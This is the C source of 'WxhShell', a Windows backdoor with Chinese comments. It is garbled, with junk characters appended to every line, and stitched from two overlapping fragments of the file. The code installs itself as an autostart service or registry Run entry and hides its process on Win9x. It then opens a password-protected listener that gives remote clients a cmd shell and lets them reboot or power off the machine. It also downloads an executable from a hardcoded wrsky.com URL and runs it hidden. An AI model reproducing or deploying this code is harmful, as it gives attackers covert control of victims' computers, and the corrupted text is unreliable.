    ExitThread(0); &jHnM^nQ  
    } F&om^G'U  
    break; A!Ls<D.  
    } ~L.)<{?  
  // 关机 > %U  
  case 'd': { n/fMq,<8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1]uHaI(  
    if(Boot(SHUTDOWN)) J9 iQW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f._FwD  
    else { ;8 D31OT  
    closesocket(wsh); 7TjK;w7xS.  
    ExitThread(0); 3+/{}rv  
    } 0oFRcU  
    break; <|'C|J_!  
    } cR+9^DzA  
  // 获取shell 45;{tS.z,B  
  case 's': { CYZx/r<  
    CmdShell(wsh); ta-kqt!'  
    closesocket(wsh); jJF(*D  
    ExitThread(0); i|5K4Puu  
    break; ^Fr82rJs  
  } Dog Tj  
  // 退出 6R+m;'  
  case 'x': { x\m !3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SBY  
    CloseIt(wsh); 9_mys}+  
    break; "=uphBZog  
    } d?)C} 2  
  // 离开 'K=n}}&:  
  case 'q': { 9?M><bBX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n3t0Qc  
    closesocket(wsh); csV.AN'obq  
    WSACleanup(); U[b $VZ}  
    exit(1); /pvR-Id|6  
    break; b=!G3wVw<  
        } mV0.9pxS  
  } 09{B6l6P  
  } n)(E 0h  
XO*62 >Ed  
  // 提示信息 JR1/\F<}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9:!<=rk  
} P7;=rSW  
  } m 4Vh R_  
(q!tI* }  
  return; AK/_^?zAs  
} xA-O?s"CY  
P d@y+|  
// shell模块句柄 *t'q n   
int CmdShell(SOCKET sock) u:Q_XXT5  
{ 7ZbnG@s7  
STARTUPINFO si; > !thxG/_  
ZeroMemory(&si,sizeof(si)); 0^Vc,\P?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rkdwGqG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6^pddGIG  
PROCESS_INFORMATION ProcessInfo; xG05OqKpE  
char cmdline[]="cmd"; YY (,H!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gQJy"f  
  return 0; M4rOnIJ  
} g_\U-pzr  
= X?jId{  
// 自身启动模式 s5X .(;+  
int StartFromService(void) gOpGwpYZ,  
{ er Cl@sq  
typedef struct }];8v+M  
{ x;,H>!r"i  
  DWORD ExitStatus; 1'dL8Y  
  DWORD PebBaseAddress; H1H+TTZr  
  DWORD AffinityMask; * _puW x  
  DWORD BasePriority; 72qbxPY13h  
  ULONG UniqueProcessId; 51Yq>'8  
  ULONG InheritedFromUniqueProcessId; Y3+GBqP  
}   PROCESS_BASIC_INFORMATION; jFBLElE  
'OKDB7Ni  
PROCNTQSIP NtQueryInformationProcess; <!#6c :(Q  
=IH z@CU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ho#]i$b}f2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MXWCYi  
;Jex#+H(:D  
  HANDLE             hProcess; o7N3:)  
  PROCESS_BASIC_INFORMATION pbi; J;pn5k~3  
Tti]H9g_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N'nI ^=  
  if(NULL == hInst ) return 0; je6H}eWTC6  
v Dgf}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :^+ aJ]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &[*F!=%8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tkBp?Wl  
0p\cDrB ?  
  if (!NtQueryInformationProcess) return 0; ^Jb=&u$  
wXv\[z L`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Hn%n>Bnl  
  if(!hProcess) return 0; }v[*V   
z\Vu`Y z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w:l/B '%]Y  
&BnK[Q8X  
  CloseHandle(hProcess); x4jn45]x@  
#F\}PCBe'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5`oVyxJ<  
if(hProcess==NULL) return 0; okx~F9  
&CCp@" +  
HMODULE hMod; |cwGc\ES  
char procName[255]; 1*{` .  
unsigned long cbNeeded; |tC`rzo  
tL68 u[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U$R+&@;  
'./j<2|;U  
  CloseHandle(hProcess); `a}!t=~#w  
qk pnXQ  
if(strstr(procName,"services")) return 1; // 以服务启动 tgn_\-+  
@#q>(Ox%  
  return 0; // 注册表启动 |A".Mo_5  
} *Z"9QX  
W-9^Ncp  
// 主模块 0;,4.hsh  
int StartWxhshell(LPSTR lpCmdLine) ZOGH.`  
{ &DC o;Ij;  
  SOCKET wsl; Wb:jZ  
BOOL val=TRUE; T&6W>VQ|[>  
  int port=0; PYDf|S7  
  struct sockaddr_in door; qrBo'@7  
KD9Y  
  if(wscfg.ws_autoins) Install(); *k:Sg*neVq  
8YJ8_$Z  
port=atoi(lpCmdLine); 1<RB}M  
3-4' x2   
if(port<=0) port=wscfg.ws_port; MsMNP[-l  
^v. ~FFK  
  WSADATA data; X(F 2 5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W]p)}#FR  
-g'[1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pj.}VF!d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B d$i%.r  
  door.sin_family = AF_INET; @RW=(&<1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E"7 iU  
  door.sin_port = htons(port); tZR%s  
5/<?Y&x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vzVXRX  
closesocket(wsl); zj.;O#hW  
return 1; oTj9/r  
} AyZL(  
P#5&D*`}h  
  if(listen(wsl,2) == INVALID_SOCKET) { `~'yy q  
closesocket(wsl); GaMiu! |,  
return 1; 9$7tB  
} HMT^gmF)  
  Wxhshell(wsl); t(FI Bf3  
  WSACleanup(); y21zaQ  
D~W1["[  
return 0; 5}FPqyK"  
/7Z;/|oU  
} J8[N!qDCj  
^nn3;  
// 以NT服务方式启动 1Ao YG_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,TY&N-  
{ /*DC`,q  
DWORD   status = 0; rJ)O(  
  DWORD   specificError = 0xfffffff; )N!-g47o%#  
]Z?$ 5Ks  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z>$AZ>t%J$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K@u\^6419  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yoy}Zdu}h  
  serviceStatus.dwWin32ExitCode     = 0; _Wn5* Pi%Z  
  serviceStatus.dwServiceSpecificExitCode = 0; A;E7~qOG  
  serviceStatus.dwCheckPoint       = 0; Qzbelt@Wx  
  serviceStatus.dwWaitHint       = 0; !"{+|heU9p  
p3Uus''V4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R1Jj 3k  
  if (hServiceStatusHandle==0) return; )*_4=-8H  
CCp&P5[67  
status = GetLastError(); m{itMZ@  
  if (status!=NO_ERROR) 0#f;/ c0i  
{ HhkubG)\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b= <xzvy  
    serviceStatus.dwCheckPoint       = 0; V_*TY6  
    serviceStatus.dwWaitHint       = 0; .\1{>A  
    serviceStatus.dwWin32ExitCode     = status; XKqUbi  
    serviceStatus.dwServiceSpecificExitCode = specificError; cX'&J_T+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c%,~1l  
    return; *G)=6\  
  } jFYv4!\ju  
/I@nPH<y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )r _zM~jI  
  serviceStatus.dwCheckPoint       = 0; "]|I;I"b  
  serviceStatus.dwWaitHint       = 0; 6X{RcX]/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .s7Cr0^k,|  
} sG{hUsPa  
[hU5ooB  
// 处理NT服务事件,比如:启动、停止 pq0F!XmU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "Xq.b"N{*  
{ OEc$ro=m*  
switch(fdwControl) :n36}VG|  
{ >% a^;gk(  
case SERVICE_CONTROL_STOP: 'LY.7cW  
  serviceStatus.dwWin32ExitCode = 0; ^b-o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -DgJkyt+<  
  serviceStatus.dwCheckPoint   = 0; {1 fva^O  
  serviceStatus.dwWaitHint     = 0; qH(3Z^#.|  
  { 871taL=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J{Fu8  
  } r|[uR$|Y  
  return; lc%2fVG-e  
case SERVICE_CONTROL_PAUSE: JGjqBuz#A*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L' w }  
  break; 4?GW]'d  
case SERVICE_CONTROL_CONTINUE: W| S{v7[l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <0!/7*;#ZT  
  break; ]<\Ft H  
case SERVICE_CONTROL_INTERROGATE: rap`[O|l=  
  break; 8t3,}}TJ  
}; UR;F W`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  'Q\I@s }  
} mouLjT&p  
pUV3n 1{2  
// 标准应用程序主函数 ~Xa8\>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *^cJn*QeL  
{ bnS"@^M  
I@x^`^+l  
// 获取操作系统版本 Cnp\2Fu/  
OsIsNt=GetOsVer(); XD>(M{~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f>d aK9$(  
V> K sbPqR  
  // 从命令行安装 k.b->U  
  if(strpbrk(lpCmdLine,"iI")) Install(); DpG|Kl|d  
Y0`=h"g  
  // 下载执行文件 \%fl`+`  
if(wscfg.ws_downexe) { @SA:64 9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Hk)IV"[R  
  WinExec(wscfg.ws_filenam,SW_HIDE); w#EP`aM2$=  
} u*#j;Xc  
s>8;At-  
if(!OsIsNt) { |7G +O+j  
// 如果时win9x,隐藏进程并且设置为注册表启动 6 Fz?'Xf  
HideProc(); G:TM k4  
StartWxhshell(lpCmdLine); E3X6-J|  
} NbPv>/r  
else KrwG><+j  
  if(StartFromService()) 58FjzW  
  // 以服务方式启动 ~s_n\r&23  
  StartServiceCtrlDispatcher(DispatchTable); @"[xX}xK;  
else P{qi>FJqe  
  // 普通方式启动 !F3Y7R  
  StartWxhshell(lpCmdLine); 7}+U;0,)  
xE+Nz5F  
return 0; 1t"  
} <[9{Lg*D  
&6*X&]V!Z  
M~ =Bln5  
pa1.+~)  
=========================================== *$uj)*5,  
+k=BD s  
rVU::C+-  
wBr$3:  
 iC]=S}  
o#wDA0T  
" 6ybpPls  
SF?Ublc!   
#include <stdio.h> *` }Rt  
#include <string.h> I7!+~uX  
#include <windows.h> /Yk4%ZJ{  
#include <winsock2.h> US<bM@[  
#include <winsvc.h> Gt9(@USK  
#include <urlmon.h> m:EO}ws=  
*_Y{wNF *  
#pragma comment (lib, "Ws2_32.lib") EjZ_|Q  
#pragma comment (lib, "urlmon.lib") bDh,r!I  
:q6j{C(  
#define MAX_USER   100 // 最大客户端连接数 :Osw4u]JXd  
#define BUF_SOCK   200 // sock buffer E yJWi<  
#define KEY_BUFF   255 // 输入 buffer EA@p]+P  
7GN>o@t  
#define REBOOT     0   // 重启 7A!E~/nSC  
#define SHUTDOWN   1   // 关机 Gn}G$uk61  
obYXDj2  
#define DEF_PORT   5000 // 监听端口 sC ,[CN:b  
=7&2-'(@  
#define REG_LEN     16   // 注册表键长度 ;0j 8Xj  
#define SVC_LEN     80   // NT服务名长度 !RX7TYf  
G[34:J  
// 从dll定义API KMFvi_8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RzPqtN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ";:"p6?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r`? bYoz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  U/v }4b  
N_AAhD  
// wxhshell配置信息 SJ/($3GkBd  
struct WSCFG { rGPFPsMQ]  
  int ws_port;         // 监听端口 C'4gve 7!  
  char ws_passstr[REG_LEN]; // 口令 ANuIPF4NxP  
  int ws_autoins;       // 安装标记, 1=yes 0=no udCum4  
  char ws_regname[REG_LEN]; // 注册表键名 P.G`ED|K!Y  
  char ws_svcname[REG_LEN]; // 服务名 :Iy4 B+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 07L >@Gf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2"Oj* ;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %`rZ]^H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N_#QS}H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OMaG*fb=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oA_T9uh[  
e;QPn(  
}; {<\[gm\X  
-)S(eqq1  
// default Wxhshell configuration 8t{-  
struct WSCFG wscfg={DEF_PORT, /, G-1E  
    "xuhuanlingzhe", AQCU\E  
    1, GwHp@_>  
    "Wxhshell", y[ikpp#ozY  
    "Wxhshell", Qyn~Vu43  
            "WxhShell Service", 7#\\Ava$T  
    "Wrsky Windows CmdShell Service", 0taopDi ;d  
    "Please Input Your Password: ", aTJs.y -I~  
  1, @qC](5|TQ  
  "http://www.wrsky.com/wxhshell.exe", ;xp^F KP  
  "Wxhshell.exe" +mc0:e{WF  
    }; 1trk  
4g^nhJP$  
// 消息定义模块 $@H]0<3,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qw&It  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MiB"CcU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u$A*Vsmr  
char *msg_ws_ext="\n\rExit."; |&O7F;/_  
char *msg_ws_end="\n\rQuit."; z: x|;Ps!  
char *msg_ws_boot="\n\rReboot..."; *|Cmm>z"7  
char *msg_ws_poff="\n\rShutdown..."; :?LUv:G  
char *msg_ws_down="\n\rSave to "; Ne6]?\Z  
!1g2'  
char *msg_ws_err="\n\rErr!"; n\ l$R!zr  
char *msg_ws_ok="\n\rOK!"; C7|z DJ_  
EX]LH({?+L  
char ExeFile[MAX_PATH]; 2m$\]\kCUv  
int nUser = 0; RgF5w<Vd.  
HANDLE handles[MAX_USER]; Rh%c<</`0s  
int OsIsNt; F=/@D)hND  
W{z7h[?5,  
SERVICE_STATUS       serviceStatus; A^ :/*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3bMQ[G  
!G`7T  
// 函数声明 e.8(tEqZ1  
int Install(void); ]`p*ZTr)\  
int Uninstall(void); ^U[c:Rz  
int DownloadFile(char *sURL, SOCKET wsh); 8OYw72&  
int Boot(int flag); 3B{B6w}t&  
void HideProc(void); V(-=@UW  
int GetOsVer(void); Fo$kD(  
int Wxhshell(SOCKET wsl); *3,Kn}ik  
void TalkWithClient(void *cs); fT:a{  
int CmdShell(SOCKET sock); #M9rt ~4  
int StartFromService(void); -+#QZ7b  
int StartWxhshell(LPSTR lpCmdLine); Vh%=JL sK  
Lm-yTMNPn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  4[\[Ho  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WfnBWSA2 T  
5*Wo/%#q  
// 数据结构和表定义 dnZA+Pa  
SERVICE_TABLE_ENTRY DispatchTable[] = =wd=TX/  
{ $)V_oQSqn  
{wscfg.ws_svcname, NTServiceMain}, ,qo"i7c{:  
{NULL, NULL} hcQky/c\#b  
}; y":Y$v,P  
JjD'2"z  
// 自我安装 1Wz -Z  
int Install(void) Rn"Raq7Cn*  
{ s]D&):  
  char svExeFile[MAX_PATH]; -!p +^wC  
  HKEY key; nPAVrDg O  
  strcpy(svExeFile,ExeFile); g~>g])  
DU@ZLk3  
// 如果是win9x系统,修改注册表设为自启动 %Ls5:Z=  
if(!OsIsNt) { L?W F[nF R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L)0j&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b.Yl0Y  
  RegCloseKey(key); 1WArgR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H%}ro.u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e:&+m`OSH  
  RegCloseKey(key); 6 /A#P$G  
  return 0; FCk4[qOp7  
    } |U~m8e&:  
  } v2vPf b  
} QT!!KTf  
else { ?1+JBl~/d  
'G6M:IXno  
// 如果是NT以上系统,安装为系统服务 dtXA EL\q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mX4u#$xs:  
if (schSCManager!=0) Z= 'DV1A$,  
{ "ggViIOw&  
  SC_HANDLE schService = CreateService ^rHG#^hA  
  ( `|{6U"n  
  schSCManager, 1c$<z~  
  wscfg.ws_svcname, CG`s@5y>5  
  wscfg.ws_svcdisp, QA=G+1x  
  SERVICE_ALL_ACCESS, VE <p,IO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W .B>"u  
  SERVICE_AUTO_START, m!Iax]D{  
  SERVICE_ERROR_NORMAL, tA*hh"9  
  svExeFile, KGVAP  
  NULL, GT -(r+u  
  NULL, F(yx/W>Br_  
  NULL, BdK2I!mm  
  NULL, xK8n~.T('  
  NULL n$jOk |W  
  ); dn"&j1@KY  
  if (schService!=0) 5BztOYn,  
  { 0n'~wz"wB  
  CloseServiceHandle(schService); r87)?-B  
  CloseServiceHandle(schSCManager); W(C\lSE0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SO~]aFoYt  
  strcat(svExeFile,wscfg.ws_svcname); t *8k3"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a\UhOPFF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )]\?Yyg]  
  RegCloseKey(key); V_>)m3zsL  
  return 0; $O+e+Y  
    } !I 7bxDzK$  
  } ,wI$O8"!j  
  CloseServiceHandle(schSCManager); ~If{`zWoC  
} 4 ^=qc99  
} |GDf<\  
[(hB%x_"  
return 1; lbRm(W(  
} GaD]qeS-K  
`u./2]n  
// 自我卸载 Ca&p;K9FR  
int Uninstall(void) 9PU9BYBG  
{ ]m>N!Iu  
  HKEY key; v7V.,^6+  
|Lq -vs?  
if(!OsIsNt) { zoj3w|G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Z$r\Huf  
  RegDeleteValue(key,wscfg.ws_regname); i8]2y  
  RegCloseKey(key); wR x5` @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3?}W0dZ$d  
  RegDeleteValue(key,wscfg.ws_regname); X5(S+;v"^  
  RegCloseKey(key); .U66Uet>RX  
  return 0; `I\)Kk@*b9  
  } ZL0':7  
} BQs~>}(V  
} isdEs k#A.  
else { "Yk3K^`1T.  
7 Q`'1oE?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $IuN(#  
if (schSCManager!=0) |k # ~  
{ A7/ R5p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CdTyUl  
  if (schService!=0) v Ft]n  
  { ~#doJ:^H3  
  if(DeleteService(schService)!=0) { -y@5% _-  
  CloseServiceHandle(schService); #^\q Fj  
  CloseServiceHandle(schSCManager); M"E ]r=1  
  return 0; $'9b,- e  
  } nA!Xb'y&  
  CloseServiceHandle(schService); ) <lpI';T  
  } E^RPK{zO  
  CloseServiceHandle(schSCManager); +<^TyIJ0  
} ][ ,NNXrc&  
} :s Mc}k?9S  
Y|s?9'z  
return 1; cY}Nr#%s@U  
} q ;@:,^  
Qp~W|zi(  
// 从指定url下载文件 0 .& B  
int DownloadFile(char *sURL, SOCKET wsh) 7\BGeI  
{  qep<7 QO  
  HRESULT hr; j3!]wolY  
char seps[]= "/"; \F|L y >g  
char *token; A YC22(  
char *file; !kPZuU `T  
char myURL[MAX_PATH];  N+<`Er  
char myFILE[MAX_PATH]; 'O\me  
R*C  
strcpy(myURL,sURL); xaiA?  
  token=strtok(myURL,seps); 6.%V"l   
  while(token!=NULL) 3$R^tY2UU  
  { Jb~nu  
    file=token; m[@7!.0=  
  token=strtok(NULL,seps); \"E-z.wW=  
  } P]Hcg|&  
Dn[iA~  
GetCurrentDirectory(MAX_PATH,myFILE); 9Q!X~L|\S  
strcat(myFILE, "\\"); ,W'?F9Y\  
strcat(myFILE, file); {kLL&`ii  
  send(wsh,myFILE,strlen(myFILE),0); WsA(8Ck<  
send(wsh,"...",3,0); ^:b%Q O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w% Ug9  
  if(hr==S_OK) g@&@ ]63  
return 0; :QSCky*i  
else \XG18V&  
return 1; %H-(-v^T*  
#-QQ_  
} kUl:Yj=&  
(I?CW~3#  
// 系统电源模块 b,?@_*qv+  
int Boot(int flag) u6~|].j R  
{ u}Q@u!~e9  
  HANDLE hToken; K1P3 FfG  
  TOKEN_PRIVILEGES tkp; .K`^n\T t  
'qosw:P  
  if(OsIsNt) { G(alM=q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u -CCUMR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a;Nj'M~U  
    tkp.PrivilegeCount = 1; 0A~zu K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; . Q#X'j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); </K"\EU  
if(flag==REBOOT) { LnN6{z{M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %hYol89F  
  return 0; MTKd:.J6  
} \#bk$R@  
else { &{s`=IeN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x5Sc+5?*  
  return 0; T~nmEap  
} 1 :xN)M,s  
  } G<1awi  
  else { xDf<@  
if(flag==REBOOT) { |eEcEu?/b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @wWro?s'p  
  return 0; yDt3)fP#  
} zSYh\g"  
else { >L#HE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \O"EK~x}/  
  return 0; /4\!zPPj.  
} 7Y:~'&U|  
} oGzZ.K3 A  
y;N[#hY#CD  
return 1; S`LS/)  
} @v1f)(N  
|[k/%  
// win9x进程隐藏模块 A7~~{9  
void HideProc(void) Az_s"}G  
{ =O qw`jw  
l \=M'D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R@=Bk(h  
  if ( hKernel != NULL ) 4uU G0o  
  { [u_-x3`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZJotg *I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MQR@(>TZy  
    FreeLibrary(hKernel); O87Ptr8  
  } c k=  
kaxAIk8l  
return; M1Jnn4w*d  
} \R >!HY  
;cBFft}D  
// 获取操作系统版本 w5I +5/I  
int GetOsVer(void) 7` ^]:t  
{ `I.Uw$,P  
  OSVERSIONINFO winfo; W/PZD (  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sR`WV6!9  
  GetVersionEx(&winfo); "{0 o"k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p[*NekE6-  
  return 1; +tz^ &(  
  else 0&1!9-(d  
  return 0; lNSB "S  
} %J06]FG7  
a7#J af  
// 客户端句柄模块 ?)9mHo^  
int Wxhshell(SOCKET wsl) \lVX~r4  
{ I!y[7^R  
  SOCKET wsh; }.<%46_Z-  
  struct sockaddr_in client; ]KMOLe6(  
  DWORD myID; #D"fCVIS  
_"8\k 7S*  
  while(nUser<MAX_USER) 56Q9RU(M  
{ pq`Bg`c  
  int nSize=sizeof(client); 8=^o2&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MtAD&+3$  
  if(wsh==INVALID_SOCKET) return 1; m/"\+Hv  
Z:|2PQ4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); * %p6+D-C  
if(handles[nUser]==0) CVsc#=w0  
  closesocket(wsh); @P:  
else W{\){fr6O  
  nUser++; cGw*edgp6  
  } v%|()Z0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2nOoG/6 E  
K (yuL[p`  
  return 0; >r7{e:~q  
} $wa )e  
K[ZgT$zZ  
// 关闭 socket iVM{ L  
void CloseIt(SOCKET wsh) :%Dw3IrOM  
{ h(hb?f@1:  
closesocket(wsh); 9?)r0`:#  
nUser--; <$s G]l!\  
ExitThread(0); fL7ym,?  
} ZFy>Z:&S,  
1!RD kZw e  
// 客户端请求句柄 |9)Q =(  
void TalkWithClient(void *cs) ' vO+,-  
{ hia_CuY#  
/#?lG`'1  
  SOCKET wsh=(SOCKET)cs; QKYGeT7&Y'  
  char pwd[SVC_LEN]; 9k_3=KS3N  
  char cmd[KEY_BUFF]; tk5Bb`a  
char chr[1]; h5 Y3 v  
int i,j; OiAi{ 71  
w$*t.Q*  
  while (nUser < MAX_USER) { ;ti{ #(Ux  
WY%LeC!t  
if(wscfg.ws_passstr) { .$>?2|gRv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gP*:>[lR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2RD os#  
  //ZeroMemory(pwd,KEY_BUFF); ': Gk~   
      i=0; 6=]%Y  
  while(i<SVC_LEN) { !7SZZz  
MT" 2^&R  
  // 设置超时 K,YKU? z6  
  fd_set FdRead; Ue|]M36  
  struct timeval TimeOut; Au'[|Pr r  
  FD_ZERO(&FdRead); =:(8F*Q  
  FD_SET(wsh,&FdRead); 8Z>ZjNG  
  TimeOut.tv_sec=8; @p jah(i`  
  TimeOut.tv_usec=0; 5H#3PZaQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \HF h?3-g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  m?hC!n>  
=)C}u6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GeN8_i[  
  pwd=chr[0]; o >{+vwK  
  if(chr[0]==0xd || chr[0]==0xa) { XA{ tVh  
  pwd=0; hQrO8T?2  
  break; G0$ 1"9u\w  
  } .L%_#A  
  i++; FA\gz?h  
    } fRJSo%  
A(#hyb#  
  // 如果是非法用户,关闭 socket +O:Qw[BL/Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P-ma~g>I  
} &;7\/m*W1  
V 0R;q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zEJ|;oL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uj_u j!  
pdsjX)O+f  
while(1) { Gk2\B]{  
BuI&kU,WY  
  ZeroMemory(cmd,KEY_BUFF); EKf"e*|(L  
*nDyB. (  
      // 自动支持客户端 telnet标准   HS| &["  
  j=0; =x}27f%-Mg  
  while(j<KEY_BUFF) { 6R5) &L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]t]s/;9]K  
  cmd[j]=chr[0]; S|Wv1H>  
  if(chr[0]==0xa || chr[0]==0xd) { j2 "j Cv  
  cmd[j]=0; %VsuG A  
  break; <pRb#G"  
  } >1xlP/4jx  
  j++; he&*N*of:  
    } 9}t2OJS*h"  
LOi5 ^Um|  
  // 下载文件 z= vfP%  
  if(strstr(cmd,"http://")) { mKynp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +Ck<tx3h&  
  if(DownloadFile(cmd,wsh)) {$4fRxj  
